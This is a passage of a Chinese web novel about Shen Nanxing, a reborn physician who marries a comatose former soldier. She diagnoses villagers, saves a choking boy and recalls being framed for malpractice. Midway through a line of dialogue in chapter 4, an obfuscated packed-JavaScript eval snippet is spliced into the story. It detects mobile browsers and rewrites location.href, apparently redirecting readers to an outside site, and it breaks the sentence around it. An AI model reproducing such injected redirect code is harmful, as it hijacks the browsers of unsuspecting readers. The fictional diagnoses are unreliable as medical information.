两人所有的交集就只有这么一点儿。 谈礼应该只会认识12岁之前的她,记忆也不可能有多深刻。 女大十八变,在港岛相遇时,她已经30岁,是黑诊所里技术最好的主刀,给人开膛破肚连眼都不眨,她的容貌气质都和年幼时期那个软糯糯病歪歪的小哭包天差地别。 他确实不可能认出她。 所以说,哪怕谈礼现在意识醒着,并且能感受到外界,且这醒来之后,这一部分的记忆仍旧能够保留的前提下,到了港岛的他也不可能认出她。 更何况,他现在的意识醒着,并不代表他被唤醒之后就能保留这些本应该属于潜意识的意识。 有很大的可能,他醒来时候完全不会记得昏迷时的任何事情。 还有可能,他醒来之后因为大脑损伤,也会损失掉他从前的某一部分,甚至是全部的记忆。 所以纠结于他上辈子在港城遇到时,到底有没有认出她,实在是毫无必要。 想明白这些,沈南星不免失笑。 心底有种说不出的感觉。 世界回档,时光回溯。 无论从哪个角度来说,她都不会让谈礼像上辈子那样,昏迷多年才醒。 要促醒谈礼,并不难。 如谈礼这样意识和身体无法统一的病人,她治疗过许多,是她的促醒中心里最容易康复的一类病人,甚至后来很多年这类病人她都是交给学生去进行促醒的,用不着她亲自动手。 现在么,不亲自动手肯定不行。 针刺是最简单迅速的办法,可眼下,她没针啊。 其实对于她来说,针刺用针已经不拘泥于针具本身,曾经在紧急情况下,她还拿头发丝当针用过。 但如今,最好还是规规矩矩地用银针,或者是不锈钢针,这样还能说是学过针灸误打误撞给扎醒了。 若真用头发丝这种非常规的针具,那实在是太超过这个世界人们的认知了,那她还不得被开除人籍啊。 沈南星在给谈礼检查完了之后,也不管他是否能听到,随意跟他聊天:“你的脉象跟之前比起来,怎么有些奇怪?好像不大一样了。会不会是快要醒过来了?我在废品站的旧书上看到有针对木僵病人的针刺方法,明天我再给你扎针试试……” 次日清早。 沈南星醒来的时候,已经日上三竿,院子里有人在说话。 “谈奶奶,小南姐她没事儿吧?”是隔壁会计家儿子栓柱的声音。 谈老太扬声道:“没事,我去给三礼换尿袋的时候瞅了,睡得好好的呢。也是这些年被磋磨狠了,小小年纪胃就不好,这会儿人放松下来,一觉就睡长了些,不管她,叫睡吧。” 栓柱一时间没吭声,院子里传来倒水的声音。 如今家家户户吃水用水都靠挑,平时也是谈大伯家的那几个兄弟,谁有空谁来老宅给挑水劈柴,做些爬高爬低的活,也帮着谈老太伺候谈礼。 不过谈大伯家在村子北头,离老宅这边到底是有些远的,不那么方便,有时候隔壁住的会计栾为民家的俩小子栓锁栓柱兄弟俩,就也会帮忙给挑水。 栓柱把水桶扁担给收拾好,才又低声说道:“谈奶奶,小南姐和三哥,以前真在处对象啊?” 谈老太:“那还能有假。” 栓柱挠头:“那您以前咋都没说呢?” 谈老太叹气:“你三哥成这样了,咋好拖累小南。小南上回没考上,不是还要考大学么,我就想着这事儿不提了。可谁曾想,金家那二流子竟然讹上来了,沈家也逼着小南嫁过去!这我能不管?” 栓柱轻咳一声:“那您这,这不是趁火打劫么。” 谈老太却是理直气壮:“小南自己答应的。” 栓柱迟疑:“可是以后……” 谈老太叹了口气,语气也软了下来:“我还能活几年?我要是死了,三礼咋办?有后妈就有后爸,他那个爸从来也指望不上,三礼这样,必须得有个知近的人,哪怕是拿着三礼他爸给的钱,养着三礼呢。你说我给三礼结婚图啥?我就图这,图我死了有人能帮着照看三礼,不说非要把三礼当丈夫吧,至少得当个亲人。” 栓柱:“奶,你这啥时候的打算啊,咋都没听你说。” 谈老太哼了一声:“我这打算可不是一天两天了,你当我傻啊,这种事敢宣扬出去,就冲着三礼他爸每月寄来的钱,还不得引来一堆心术不正的,我活着或许能压服住,我死了,三礼不得被吃了,那才是真害了三礼!” 栓柱挠挠头:“三哥都这样了小南姐还愿意嫁过来,她的人品没的说,以后肯定也不会不管三哥。” 谈老太:“小南是个好姑娘,嫁来咱家,她能活得像个人!我也不要求她给三礼传宗接代,只要我死了以后,她能帮着照顾三礼,哪怕是再雇个人照顾,她只看着呢,这不算难事吧。等她大学毕业分配工作,她想离婚就离婚,想找别的男人也随她,反正只要给我把三礼养到寿终正寝,我在地下也感激她!” 屋子里的沈南星轻笑一声。 这老太太,话说得真真假假的。 沈南星并不恼,上辈子都没恼,更别说是现在了。 可怜天下父母心,谈老太的算计,是她在能力范围之内能给孙子做的谈礼最好的安排。 沈南星人品没得说,再加上小时候谈礼还救过她一命。 所以谈老太的这些安排,放在沈南星的身上,那可真是再合适不过了。 换成其他任何一个人,谈老太都要担心对方在她死后,只拿钱不干活,甚至还会虐待磋磨谈礼。 如果沈南星去年12月高考没“落榜”,去上大学了,那谈老太自然也不会算计到她身上。 偏偏沈南星“落榜”,还被逼嫁给金元宝那样的流氓色鬼,这么一个好人选,天上掉馅儿饼一样送到谈老太的面前,那谈老太怎么可能拒绝?她又不是圣人。 沈南星并不反感谈老太的算计,谈老太有她的图谋,而她宁愿嫁植物人也不想嫁给金元宝。 更别说上辈子,结婚后谈老太也从未阻拦她参加第二次高考,高考后还给她准备了钱票,说等她遇见合适的对象,就跟谈礼把婚离了,认个干亲,以后老太太不在了,她能帮着照顾一下谈礼…… 可以说,上辈子谈老太对她算仁至义尽。 可惜,上辈子谈老太眼中的她,肯定是个背信弃义的白眼狼:考上大学就一去不回,音信全无。 估计谈老太做梦都在骂她。 而对于后来苏醒过来的谈礼来说,她就是个利用嫁给他度过难关,却又在考上大学后迅速把他抛弃的忘恩负义的“前妻”。 沈南星不免失笑,这辈子她肯定不叫谈老太再后悔自己看错了人。 身上穿的还是昨天谈老太给找的她年轻时候的衣服,一夜没换,沈南星浑身都有些不舒服。 不过现在她没条件挑剔,就,忍着吧。 走出屋子,还站在院里的栓柱有些不好意思地喊了声:“小南姐。” 总觉得刚才他和谈奶奶说的话,小南姐应该都听到了。 沈南星点了下头,笑容灿烂:“昨晚麻烦你了。” 栓柱立马挠头:“小南姐你说这是什么话,应该的,你没事就好。” 谈老太:“锅盖下有馒头,锅里是蛋花面汤,小葱拌了个豆腐,吃的时候点两滴小磨油。” 沈南星也没客气。 端了饭菜出来堂屋吃,她又问谈老太:“奶,煤炉上铝锅里的肉沫粥是给谈……三哥吃的?” 她记得这煤炉子也是村里头一份。 谈老太顿时叹气:“加点肉蛋,他容易便秘,不加的话他又一天比一天瘦。” 沈南星:“加吧,营养重要,再切点胡萝卜一块儿放进去煮烂。别的不用担心,我去给抓点药调一下。” 谈老太立马笑逐颜开:“哎!” 沈南星又道:“奶,给我点钱,我想去公社一趟。” 这么直接的态度,但这老太太却半点儿没打磕绊,立马从兜里掏出来一把钱,数也没数地塞给沈南星:“不够的话自己进屋去拿,就在三礼床头那个老嫁妆箱子里。” 顿了顿,老太太又道:“小南你去公社干什么,要买东西还是弄啥,叫人给你捎带就行。非要去的话,还是叫悦悦跟你一块,做个伴,悦悦也该过来了。” 悦悦指的是谈家悦,就是谈礼的堂妹,他大伯家的小女儿,按谈礼从小跟着奶奶大伯一家成长的关系来说,这其实就是亲妹妹了。 正说着呢,就有人推开院子的大木门,走进来了。 那是一个……体积庞大的姑娘,梳着俩麻花辫,看到沈南星,就露出一个笑脸。 这姑娘一看就是虚胖,胖得还很严重,她五官生得不错,只是过于肥胖让她五官变形,再加上农村姑娘经常做农活,风吹日晒,肤色黑还有痘痘,看起来着实不好看。 “小南姐……啊应该叫三嫂了,三嫂你才吃饭呀,我来帮着伺候三哥。” 往常也都是她来帮着奶奶伺候三哥的。 谈家悦看向沈南星的目光亮晶晶的,害羞里带着掩饰不住的羡慕。 她的体型乍一看能盛下三个沈南星,更不用说她皮肤粗糙还有痘痘和黑斑,而对比之下,沈南星的皮肤则是白皙光洁如瓷。 青春期的姑娘哪有不爱美的,谈家悦怎能不羡慕。 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那就只能去大队部问问看,今天有没有拖拉机去公社,搭个便车。 从村子里穿过去大队部,这一路上都是熟人,沈南星一点不扭捏地和婶子大娘们打招呼。 时间太久远,她记不住这些婶子大娘的名字,那也不用称呼,只要亲亲热热地问候一句吃了没,还没下地啊等等的就可以了。 等她和谈家悦走过去,大娘婶子们的议论声就在背后响起。 “哎呦小南这姑娘,可真大方,人长得又漂亮,可惜啊,三混子都得植物病了,还要祸害人。” “这种病听说活不了多久,这婚事估计也长久不了。” “那好好的姑娘也成了寡妇,二婚,以后还能说到什么好人家。” “小南这姑娘也是实诚,就算她以前真跟三礼处对象,那现在三礼这样了,她还真嫁啊。其实她不说,谁也不知道他们处过对象。” “不然咋办?这丫头就是太漂亮才惹祸,咱谁不知道金元宝那二流子是讹人的,说什么被小南开的药给治坏了,一包治伤风的草药也能治坏人?嗤,他就是相中小南,故意下套呢,可谁敢管这事?要不是谈老太出面,小南还真就被逼嫁给那金元宝了。” “哼,叫我说谈家那老太婆就是心眼子多,她这就是强盗救火、趁火打劫,逼着小南嫁给三混子。再说了,二流子怎么了?这才过去几年啊,她家谈三礼三混子的名号就没人记得了?那可比金元宝混得多,手上指不定有几条人命呢。” 谈礼外号三混子,道上人称三哥。 正巧妇女主任宋秀芳经过听见,就冷了脸:“可不敢胡说,三礼去当兵前是混了些,那不是年纪小么。他再混可没混到咱们村自己人头上吧。那时候都没饭吃,别的大队哪有不丢东西的,就咱们队没有吧;那大姑娘小媳妇只要说是咱们队上的,就没流氓敢纠缠;田里到浇水的时候,别的队为争水打破头,咱们队哪回不是头一个,管水员都给得足足的。” 立刻也有人附和道:“就是,那时候三混子走到哪儿别人不得给几分面子。队里去交公粮押车,提一声三混子队上的,路上什么牛鬼蛇神都不敢拦。那粮站还给咱们队的公粮往上提一等,磅也是足的,光这一年省下多少粮食?问问别的大队哪个不眼红。再瞅瞅现在,去年咱大队那分明是一级粮,愣是给划到二级,磅上还克扣,找谁说理去。” 交公粮的时候粮站工作人员会根据粮食的种类、湿度、干净程度来分等级,等级低折算的价钱就低,磅秤也都不准,中间克扣下来的都是粮站自己人的福利,这都是心知肚明的事,没人管得了。 “哼,再咋说还不是个混混头子?都是混子,要我说啊,小南真不如嫁金元宝,瞅瞅金家那日子过的,一条狗都有肉吃。再说了,男人结婚前混点不算什么,一结婚成家就懂事了,只要小南能管住男人,以后有的是好日子过。如今嫁个活死人,连个正经女人都当不成,跟守活寡有什么区别?” “可闭嘴吧你,啥话都说也不怕烂嘴,瞅瞅你嘴唇都烂几个月了……” 村里几个婶子媳妇议论的声音不大不小,刚走过去的沈南星和谈家悦还能听到。 谈家悦一张脸涨得通红,胸口急剧起伏,擓着箩筐的手臂也忍不住颤抖,显然气得不轻。 沈南星站住,重新走回过去,对着那个烂嘴的婶子说:“婶儿,您舌头上是不是长了个瘤子,已经个把月了吧,可能只有黄豆大小,就比上火的时候舌头长疮大一点点,特别容易溃烂,出血只有一点点,但是特别臭,不管您涂什么药膏,吃什么下火药都不管用,对不对?” 那婶子一愣,连忙伸手捂住嘴。 边上的几个婶子立马点头:“可不就是臭么。说个话咱们都得站远点,不然熏死人。” 那婶子臊得脸上黑红一片。 沈南星笑笑:“婶儿,您这瘤子可不太好,很有可能是舌癌。您最好赶紧去医院看看,得去大医院,比如庆市医院或者是省医院。当然,如果你不愿意花钱,找我看也行的。” “啥?” “舌癌?” “老天爷,不会吧。小南你是说笑的吧?” 那个婶子瞪大眼睛,叉腰就骂沈南星:“好你个小娼妇,亏我还说你嫁给那活死人可惜了,你就这样咒我,信不信我撕烂你的嘴……” 这婶子说着就要上来撕扯沈南星的头发,却被边上的一群婶子,还有妇女主任宋秀芳给拦住了。 宋秀芳呵斥这婶子一句,又看向沈南星:“小南,可不兴说这样的话。” 沈南星:“秀芳姑,我是说真的。您忘啦,我从小跟着我外公学医,我也是大夫啊。” 宋秀芳一愣。 那个婶子却骂起来:“大夫,你大夫个屁,开个头疼感冒的药都能吃坏人,要不咋会惹上金家!” 沈南星:“……我真是好心。” 宋秀芳无奈,连忙推沈南星:“小南你姑嫂俩要去哪儿,赶紧走吧。” 沈南星拉着一脸呆愣的谈家悦,转身走了,临走前还再三嘱咐那个婶子,一定要尽快去医院检查。 走出去老远,谈家悦还懵着,片刻后,她才噗嗤一声笑了:“小南姐,那可真会骂人。” 沈南星:“……我没骂人,我说真的。” “啊?” “她真是舌癌。” “……” 谈家悦也不知道信了没信,纠结半天,又道:“小南姐,三哥早就不混了,他在部队还立功呢,你别听他们的,别盼着他死……” 沈南星失笑:“放心吧我知道的,你三哥一定能醒过来,很快。” 上辈子她没能力治好他,如今她既然回来了,就不会让他再像上辈子那样,不知道昏迷几年。 她会治好他的,很快。 就当是,还他的恩情了。 4. 第4章 三哥一定能醒? 谈家悦只当沈南星是在安慰她,不过从三嫂嘴里说出来的感觉就是不一样,至少证明三嫂没有怨恨奶奶和三哥。 她抿嘴笑起来。 沈南星松开谈家悦的手腕,低声道:“我记得你初中成绩挺好的,怎么就不读了?” 谈家悦咬唇,半晌才说:“不想读了。” “真的?” 谈家悦沉默好久,才说道:“在公社读初中都已经很麻烦了,我没法去县里上高中,自行车我骑不动也坐不了,学校宿舍的床我睡不下,板凳课桌都得自己带,体育课上不了,打扫卫生我也弯不下腰,走几步路我的衣服就跟水里捞出来的一样,出汗多又臭,同学都不愿意靠近我,还说我是肥猪饭桶……” “胖不是问题,可以减肥。”沈南星说。 这才走多远,谈家悦身上的衣服都快湿透了,虚汗如雨。这才三月,还都要穿夹袄呢。 谈家悦抿了把额头的汗:“我减过很多次,三嫂我真不是饭桶,我吃的很少,可哪怕是饿晕都减不下来。再说也不光是胖,我每个月那个来的时候都要昏睡好几天,前年第一次昏睡三天不醒,把学校老师吓得赶紧把我送卫生院。” 谈家悦深吸口气,自我安慰地笑了笑:“不上学也没什么,女孩子嘛,娟子她们小学都没上完,我好歹初中毕业呢,再说我学习也就一般,就算上高中我肯定也考不上大学,不上就不上吧。” 如今观念就是样,女孩子上学没用,早晚是别人家的,留在家里好歹能带下面的弟弟妹妹,能洗衣做饭,农忙的时候照样能当个劳力使。 去上学还要花钱,关键是也学不出来个啥,高考停了那么多年,城里的知青娃娃都来乡下种地,乡下姑娘咋还可能送去上学。 去年开始高考恢复,也并不能让人们的观念有多少改变。 不过谈家不缺钱,也不是那些只让儿子上学不让女孩上学的人家,谈家悦的那些话不过是在给自己心理上的阴郁找个出口。 嗯,不是她不想上学,是上学没用。 沈南星语气平静而认真:“你的胖不是吃出来的,是病,对症下药就能减下来,这叫行经多寐证,这毛病也不难治,学能上还是要去上。” 谈家悦呆住。 她不敢相信自己的耳朵。 一直以来,所有人看到她都会说让她少吃点,多干活。 这年代物质不丰,谈家就算是条件相对来说较好,那也不可能顿顿白面天天吃肉。 所有人都很瘦,只有她这么胖。所以只要看到她,人家都会打趣说谈家日子可真好过,能把姑娘吃成这样。 可是天知道,她真的没有吃很多,甚至她经常克制住不吃,硬饿,也没能让自己瘦下来,反而落个低血糖的毛病。 还有村里不懂事的小孩,瞅见她就会叫她肥猪,说她恶心…… “三嫂,小南姐,你,你说的是真的吗?”谈家悦颤抖着问。 沈南星认真点头:“我刚才给你号过脉了,是真的,比真金还真。” 谈家悦呆呆的。 刚才三嫂,哦不,是小南姐,走路一直牵着她的手腕,捏的很紧,原来是在给她号脉。 小南姐说她的肥胖不是贪吃,是病,病治好就好了。 行经多寐症,行经多寐症。 真的有这么一个病! 谈家悦忍不住哭出声来,心情激动得同时,又很后悔,以前就知道小南姐会给人看病,村卫生室的大夫宋建国都说,他在脉象上比不上小南姐。 可她愣是没找小南姐给自己看看。 不过从前的她,也不知道自己这么胖是生病…… 谈家悦哭得双眼通红,像是要把这么多年的委屈、白眼、议论、辱骂都给哭出来。 沈南星叹气,摸来摸去的,兜里也没纸巾啊,这年代哪有随身携带的纸巾,不过她摸出来一个手帕,赶紧递过去。 “我保证你的病能治好,肥也能减下来,但你也要答应我,乖乖去上学。”沈南星道。 谈家悦不住地点头。 两人还没到大队部,迎面就碰上开着拖拉机的宋民富,他是大队的拖拉机手,昨晚谈奶奶就是打算叫他来,送沈南星去医院。 “哟小南,昨晚没事吧,栓柱去叫我的时候,拖拉机没多少油了,我就赶紧跑来大队部拿油桶加油,等我加完油,栓柱又跑来说不用送医院了。” 宋民富笑道,“现在看你这样子,应该都好着呢。” 沈南星也笑:“是啊民富叔,都好。你现在这是要去哪儿?” “去公社榨豆油,有两头母牛都带上崽了,得补补,去榨油挤点豆粕出来。” “那正好,我们搭个便车,也去一趟公社,到卫生院给三哥抓点药。”沈南星笑着说。 宋民富也没多想,三礼那情况,的确是靠药吊着呢。 他就招呼她俩上来,又去接上大队会计栾为民,还又叫了两个壮劳力一起。 这一车豆子上千斤呢,去榨油要搬上搬下,要过称,要往人家机器里倒,要接油,还要装豆粕,没几个壮劳力可不行,会计栾为民是跟着去记账的。 栾为民就是谈礼家的邻居,栓柱就是他儿子,跟谈家关系处的很好。 谈家悦一双眼睛红彤彤的,一看就是哭过,栾为民就逗她:“这是咋地了,你三嫂可不是欺负小姑子的人。” 众人哄笑。 谈家悦一张脸涨红,赶紧说:“没有没有,我就是,太激动了,三嫂说,说我这肥胖不是吃出来的,是生病了!能治好!只要治好病我就能瘦下来。” 栾为民等人大为吃惊:“生病还能导致肥胖?” 沈南星点点头:“我也是最近最近在翻医书,从我外公的医案上翻到一个相似病例,跟悦悦情况差不多,只要治好,悦悦就能跟正常姑娘一样。悦悦年纪还小,等治好病最好还是继续去上学。” 谈家悦不好意思地说:“我怕我去学校跟不上。” “跟不上让家耀给你补习,家耀学习那么好,回回都考第一呢。” 谈家悦和谈家耀是龙凤胎,家耀是弟弟,学习一直都好。 “小南,悦悦这胖病真能治好?得多久能治好?咱悦悦小时候可漂亮的很,病治好瘦下来,那十里八乡就没比悦悦更漂亮的姑娘了。”栾为民笑道。 沈南星道:“治病再加上瘦下来,可能得半年多的样子。” “这可太好了。”栾为民立刻就感慨:“小南你就该好好学医,你外公当年的水平,那真是高得没话说,你能继承你外公的医术也很好……” 说着话,栾为民就不断地擦汗。 车上另一个男青年说:“为民叔,这么冷的天儿,你咋出了一身汗?” 如今才是农历的2月,大家都穿着袄,还冷着呢,尤其是坐在拖拉机上冷风一刮,那就更冷了,大家缩着脑袋还来不及,谁会热的一身汗? 栾为民一边擦汗一边说:“不热,也不知道咋回事,这些天一吹风就出汗,难受的很。” 这可是稀奇了。 几人都议论纷纷,不知道这到底是啥情况。 沈南星忽然开口:“为民叔,你这平时不出汗,就遇到风了才出汗,出大汗,是不是?” 栾为民点头。 “不光是出汗,心脏也难受,心悸,就是心脏一阵阵发紧,头疼失眠,五心烦热,小便短赤,大便干结,浑身酸软无力,是不是?” 栾为民顿时就惊奇起来:“对,都对!我早前去看,吃了玉屏风散不管用,换了牡蛎散也不管用。” 沈南星:“一般的自汗,多是阳虚,又以气虚血虚居多,您这是心虚。应该用甘麦大枣汤,补虚养心,用太子参和黄芪来益气固表,再用糯稻根、白芍敛阴止汗。” 车上的人都张大了嘴巴。 沈南星道:“我跟悦悦待会儿去卫生院给三礼抓药,也帮您捡几贴药?” 边上的青年忍不住小声嘀咕:“管用吗,先前不都把金元宝给医坏了……” 栾为民却在怔愣之后,立刻点头:“行,那就麻烦你了小南,多少钱等回头我再给你。” 沈南星笑着点头。 谈家悦满眼崇拜,虽然药还没抓,但她就是莫名觉得,小南姐开的方子一定行。 说着话,很快就到了秦集公社。 榨油坊、打面坊、农机站这些都在公社街道最北边,卫生院则在南边,挨着公社大院。供销社和集市也都在南边。 这年头不允许私人做生意,但在农村有集市,在集市上购买、交换一些农副产品,都是可以的。 毕竟农民可不是城市里的工人,每月都给发票发钱,农村人没有票,要是在集市上买一个箩筐一把青菜也要票的话,那就别活了。 但是像暖水瓶、牙膏牙刷、肥皂、搪瓷缸子、毛巾毛线、衣服布匹等等,集市上是没有卖的,只能拿钱票去供销社买,集市上就只有基本的农副产品。 这两年管理松动,尤其是前年十月的胜利,那几个头目集团被粉碎后,整体环境就越发宽松起来。 今年的集市上就也开始出现了糖葫芦、炒瓜子、烤红薯之类的,价钱便宜也不要票,但前提是数量很少,一点点。 农村的集市不是每天都有,秦集镇这边是逢四逢十才有集市,比如初四、初十、十四、二十这些日子,十里八乡的都会来赶集。 有集市的这天,就叫逢集,没有的就是不逢集。 大队上来榨油打面,都是在不逢集的日子,不然街道上远处来赶集的牛车驴车拖拉机,再加上十里八乡的人,可是要堵车呢。 今天就不逢集,因此公社街道上也就比较空旷。 拖拉机上拉着一车黄豆呢,在街口,沈南星和谈家悦姑嫂俩就下车,步行去卫生院。 这么多的黄豆榨完油也到下午去了,足够沈南星她俩办完事再赶过去坐车。 沈南星先跳下车,栾为民也跟着下来,两人一起扶着大体重的谈家悦小心下车。 路口这户人家门口,一个妇女正坐着搓草绳,一般都是大队的任务,记工分的。 这妇女刚才瞅见拖拉机就立马起身,见拖拉机停下,她更是赶紧快步走来:“栾叔又去榨油啊,婶子好些天没来赶集了,忙着呢?我上回跟婶子提的张寨那姑娘,大方又能干,咱们栓锁也是好小伙,啥时候见见啊……” “啊。”栾为民应了一声,含混过去,张寨那姑娘是大方能干,但家里一团乱,这亲可结不得,也没必要相看。 这妇女却好似没看出栾为民的敷衍,立马全方位说这姑娘有多好。栾为民几次想打断,她都不停。 “叔,我们先过去了。”沈南星道。 “哎哎去吧。”栾为民赶紧应声,又立刻说,“回头再说啊,我这着急去排队榨油。” 那妇女还不死心,还要再说,就在这时,后头屋子里响起一声惊恐的哭喊:“妈,妈,大宝噎住了!” 众人都是大惊,妇女更是顾不得什么,赶紧跑回去,鞋子都掉了也顾不上,大喊着从门口闺女手里,接过已经被噎得翻白眼的儿子。 小男孩才四五岁的样子,一张脸憋得颜色都变了。 “你个死丫头,咋回事啊,叫你看着大宝,你咋看的!”妇女大吼。 小姑娘早就被吓得泪如雨下,声音发抖:“大宝扔着吃花生,用嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062990|163014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去接,一不小心摔倒就这样了,妈,我掏了,掏不出来呜呜……” “赶紧掏!” 栾为民一行人也顾不得什么,都过来帮忙。 “把娃抱紧,按住,嘴撬开,赶紧把花生掏出来,时间长了可不得了。” “哎呦这咋掏不出来呀,来来刚子,你年轻眼亮,掰开娃的嘴瞧瞧,能瞅见花生卡在哪儿了吗?” “瞅不见,这可咋办。娃憋得身上都直了!” 妇女和小姑娘都是满眼惊恐,整个人软软倒在地上,爬都爬不起来,也哭不出声。 沈南星和谈家悦也没走呢,谈家悦急得不行:“送卫生院!赶紧送卫生院啊!” 沈南星挤过去:“为民叔,把孩子给我。” 栾为民一愣,有些迟疑:“小南,这不是开玩笑的。” 这娃被花生噎住,掰开嘴都瞅不见花生在哪儿,可见噎得很深很严重。 说句不好听的,这些年听说过的被噎死的小娃可真不少,有被花生噎死的,有被馍馍噎死的,还有吃口西瓜被噎死的,真不少见。 眼下这娃的情况看起来就不大好,这又不是头疼脑热,也不是给开贴中药吃不坏人,他们这些人帮忙,就算娃出事了,那也是他的命。 可若是小南上手帮忙,救回来也罢了,没救回来的话,小南头上岂不是又要添一个罪状! 要知道,先前金元宝讹诈逼婚的理由就是,小南给他治病治坏了,说小南不是大夫,胡乱给人治病就是犯罪。 “为民叔,给我。” 时间紧急,沈南星也顾不得许多,上手去把孩子接过来。 人们都以为是噎,并不准确,应该是呛,花生呛到气管了,用手去掏只会越掏越深。 对这种硬物呛到的处理,海姆立克急救法是最简单有效的。 但如果前期操作不当,呛得很深,那就只能手术了。不过很多孩子,往往赶不及去手术,就已经窒息死亡。 沈南星也顾不上多说,就背对着抱起孩子,快速向上挤压孩子腹部。 所有人都一脸焦急地等待着,谁也不敢动,连呼吸都不敢大声。 一下,两下…… 五下,十下。 人们都已经绝望了。 就在这时,“噗”的一声,有东西从孩子嘴里喷出来,紧接着,孩子就大哭起来。 这一瞬间,人们都齐齐松一口气,不觉中,浑身衣服都湿了! 那妇女连忙爬过来抱住儿子,大哭起来。 谈家悦激动地握住沈南星的手,双眼亮晶晶的。 栾为民宋民富等人,也都是一脸惊喜。 确认孩子没事,那妇女简直是劫后余生,抹着脸上的鼻涕眼泪,扯着自家闺女叫给沈南星磕头。 “可别,以后注意着点。” 沈南星说着,就又跟栾为民他们打声招呼,转身离开。 栾为民他们也拒绝了妇女留他们喝水,赶紧开着拖拉机去榨油。 拖拉机上,大队的人还心有余悸。 “我姑家村子,去年就有个娃被红枣噎死的,咋掏都掏不出来,也就一根烟的功夫,人就直了,送卫生院也没用。” “刚才真是吓死了,小南到底咋弄的,也没见她去掏,咋就把那花生给弄出来了?” “小南可真行。要不是她,这娃肯定要出事。” “这样看,小南说能治好悦悦的胖病,恐怕还真行。还有为民书,你这一见风就出汗的毛病,说不定真能给治好。” “小南她外公可是秦大夫。” “都是那XX帮给害的,运动这些年,害死多少人。秦大夫多好的人啊。” “秦大夫祖上可是御医。我家老娘那时候胃疼,疼得打滚,到县医院治不好,又去庆市医院,说是胃癌,治不了。我也是没办法了,想起来沈成山他岳父,据说是可有名的老中医,就去了省城。” 栾为民感慨道,“老沈家一直说人秦家高门大户,虽说是娶了人家大小姐,实际上跟入赘差不多,要看媳妇和岳丈的脸色,说人家看不起咱农村人,可我们去找了,人家半点都没有看不起,仔仔细细地给瞧了。说是胃癌,想要根治不容易,但能控制住病情,叫多活上个十年八年的。算算这都多少年了!” “嘿,老奶今年都85了吧,去年还说过了84这个坎儿,又能多活十年。别说,老奶那身体,全村老人里她属这个!”边上青年竖起大拇指,“前儿宝根放羊没看好,啃了你家菜地,老奶拎个棍子把宝根撵得满村跑。” 栾为民:“哈哈哈可不是么,人家是说治不好,但你说,这跟治好有啥区别?我跟你们说,人家秦大夫祖上当过御医,给皇帝看过病的,后来家里男丁都上了战场当军医,不知道救过多少人,据说连几个大领导,秦大夫都给看过病呢。人家给咱这些泥腿子看病,也一点儿不拿架子,尽心尽力。” “哎,可惜了,多好的人。” “就是挑女婿的眼光不行。沈成山出去上学前,也是老实本分的,咋人就能变得那么快,秦大夫刚出事,他就跟秦小姐离婚。还把小南送来乡下,由着老沈家磋磨。” “所以说这回还是多亏了谈家奶奶,不然真叫小南嫁给金元宝,秦大夫恐怕都死不瞑目。” 听见这话,栾为民忽然一拍大腿:“哎呦,哎呦,咋就忘了这事儿,那金家可就住在公社院旁边,小南他们姑嫂俩过去,别又碰上金家那二流子了。” “应该没事,昨天谈家奶奶上沈家去抢亲,带的那位县里的干部,听说是武装部的人,金家硬是被压下去了。今儿就算碰见,那金家也不敢干啥。” “不成不成,咱们还是得过去看看……” 5. 第5章 救了那个小孩,沈南星和谈家悦从路口往南走。 看着周围的景象,记忆一点点复苏。 说起来,她对公社这边算是比较熟悉的,因为经常来往公社卫生院,金家就住在公社这边,再加上她长得漂亮,见几次就盯上她了。 公社卫生院就在街道最南边,紧挨着公社大院。 卫生院以前的主管大夫秦大海,他能在卫生院当大夫完全是时代因素,他家成分好,他就只是略微会点草药,卫生院其他的几个大夫也都是半吊子。 但这秦大海很聪明,知道自己有几斤几两,头疼脑热他给点药,稍微严重点的他就说看不了,让去县医院。 平时上班,他都会带着他闺女秦美珍,他就那三板斧,秦美珍熏几年也就学会了。 沈南星经常会来卫生院卖点自己炮制的草药,又或者是帮村里熟悉的人抓药,都是同龄人,一来二去的,沈南星就跟秦美珍认识,两人也成了朋友。 后来秦大海病了,身体不好,让闺女秦美珍接他的班,秦美珍上过初中,但是没考上卫校。 不过家里有关系,秦美珍的小姨夫是县医院的小领导,有这关系,给秦美珍弄个卫校旁听名额还是很容易的。 只要能打针输液,会开个退烧药,看个感冒咳嗽什么的也就够用了,再给她弄个培训班的名额,培训出来进不了县医院,来下面公社卫生院还是绰绰有余的。 于是秦美珍接替父亲秦大海,成了秦集公社卫生院的大夫。她小姨给她安排的路子就是,在这里多积攒点经验,以后再多上几个培训班进修一下,等有机会就能调到县医院去。 无论是秦大海还是秦美珍,都跟沈南星很熟悉,沈南星只要有空就会去卫生院帮着分拣炮制药材,也会帮着秦美珍给人看病开药等等,见得多才能学得多会的多。 之所以会被金元宝讹上,就是在卫生院。 刚开春地里没啥活,沈南星抽空就去卫生院帮忙,卫生院要是不忙她就能安生地看会书,在沈家的话白天她是一刻都别想消停,干不完的活。 金元宝去看病的时候秦美珍不在,他让沈南星给他开点治伤风发热的药。 但其实就算秦美珍当时在,还有别的两三个大夫也在,他还是要找沈南星给开药。 本就是为了算计她来的。 沈南星给金元宝检查一下,对方确实是热伤风,内有痰火郁热,热极生风,她就给开了药。 这是常有的事,每次她来帮忙,秦美珍就能放心地出去,来病人了也都是她帮着开药,反正都是些头疼脑热的小病。 可沈南星再没想到,金元宝根本不是来看病,而是来讹人的。 拿了药的第二天,金家人就冲进卫生院又打又砸,非说昨天卫生院大夫开的药把金元宝给治坏了,说金元宝本来只是热伤风有点发烧,吃了卫生院大夫给的药后,烧是退了,可是头却疼起来,疼的时候人跟疯了一样到处撞,到处打砸,跟失心疯一样。 这事儿秦美珍抗不下来,金家人显然也不是冲她,来卫生院打砸不过是想把事儿弄大,弄得人尽皆知。 于是,一夕之间所有人都知道沈南星给金元宝开错药,把人给治坏了。一顶庸医的帽子,就这么扣在沈南星的头上。说她压根就不是医生,怎么能给人开药治病? 再后面就是金家人逼嫁,找到沈家说要么报警,要么就让沈南星嫁给金元宝。 头疼不疼的,只有病人自己知道。 